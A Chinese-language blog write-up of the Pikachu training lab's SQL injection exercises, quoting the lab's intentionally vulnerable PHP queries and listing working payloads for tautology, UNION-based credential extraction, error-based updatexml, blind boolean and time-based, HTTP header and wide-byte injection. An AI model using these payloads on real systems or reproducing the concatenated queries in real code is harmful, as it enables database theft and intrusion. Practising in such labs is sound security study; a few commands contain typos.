pikachu靶场-Sql Inject(SQL 注入)

一、概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

 

注:GET与POST区别

①GET方式中使用URL提交注入数据

②POST方式中使用抓包工具修改POST数据部分提交注入

 

 

 

 

二、数字型注入(post)

 

 

 ①我们选择ID,观察到URL没有参数变化,直接采取抓包。

 

 

 

 

 

 ②其实我们可以在phpstduy中的sql命令行中打开数据库终端查询查询对应的内容。

命令:show database;(显示所有数据库)

 

 

命令:use pikachu;(切换至pikachu数据库)

命令:show tables; (查看pikachu数据库中所有的表)

 

 

 命令:desc member;(降序查看member表中字段  注:asc为升序)

 

 

 命令:select from username,email from member where id = 1;(显示出member表中id=1的username和email信息)

命令:select from username,email from member where id=1 or 1=1;(我们在尾缀加上or 1=1,这样where后的表达式永远成立执行,就会查询出所有的信息)

 

 

 ②我们在burpsuite中的Repeater模块中修改数据包重新发送,就查询出了所有的信息。

 

 

 

三、字符型注入(get)

 

 

 ①我们以kobe为例测试一下

 

 

 ②我们构造一下注入语句,猜测是以单引号包裹的username 

构造语句:kobe ’ or 1=1 #

还真被我们猜中了

 

 

 ③观察源码,可以看出以是单引号包裹的

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

  

四、搜索型注入

 

 

 ①查看源码

if(isset($_GET['submit']) && $_GET['name']!=null){

    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

 ②构造注入语句 k%’ or 1=1#

 

 

 

五、xx型注入

 

 

 ①观察源码,发现包裹变为了(‘’)

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

 ②构造注入语句 kobe’) or 1=1#

 

 

 六、联合查询(以xx型注入为例)

①通过order by 判断列数

1') order by 3#

 

 

1') order by 2#

 

 

可以看出有两列

②查询数据库

1') union select 1,database() #

 

 

③查询数据库中的表

1') union select 1,table_name from information_schema.tables where table_schema='pikachu' #

 

 

④查询表的字段

1') union select 1,column_name from information_schema.columns where table_name='users'#

 

 

⑤查表字段值

1') union select username,password from pikachu.users#

 

 

七、Insert/update注入

 

 报错注入我们在sql-lab系列中已经详细讲解过了

①1' and updatexml(1,concat(0x7e,database()),1) or '1' = '1

 

 ②1' and updatexml(1,concat(0x7e,(select(concat_ws(0x7e,username,password)) from pikachu.users limit0,1)),1) or '1' = '1

 

 

 八、delete注入

 ①我们在留言完成后,点击删除留言时开启代理,利用burpsuite抓包,发现了id数据

 

 ②发送至Repeater模块,修改数据包为,并将其转换为url编码

id=1 and updatexml(1,concat(0x7e,(select (concat_ws(0x7e,username,password)) from pikachu.uses limit0,1)),1)

 

 

 

 

 

 

 

九、http header注入

 原理:开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,不如useragent、accept字段等会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql注入漏洞。

首先登陆admin-123456

 

 

 

 发现对头部信息的获取,所以可能存在注入

①抓包

 

 ②发送至Repeater模块,修改user-agent或者cookie完成注入

 firefox' or updatexml(1,concat(0x7e,database()),0) or '

 

 

 

 

十、盲注(base on boolian)

 

 布尔盲注

kobe' and ascii(substr(database(),1,1))>113#

我们利用ascii函数对数据库第一个字母进行编码,然后利用二分法逐一判断。

图中是 =112 就是p

 

 

 

十一、盲注(base on time)

 输入 kobe’ and sleep(5)#

网页加载5s后显示结果

 

 

 kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

根据延时我们判断

 substr函数将数据库中第一个字母拿出来和p做比较,利用if判断,如果为p则5s后返回。

 

 

十二、宽字节注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

kobe %df' or 1=1#

 

 

posted @ 2020-04-04 11:57  陈子硕  阅读(2018)  评论(0编辑  收藏  举报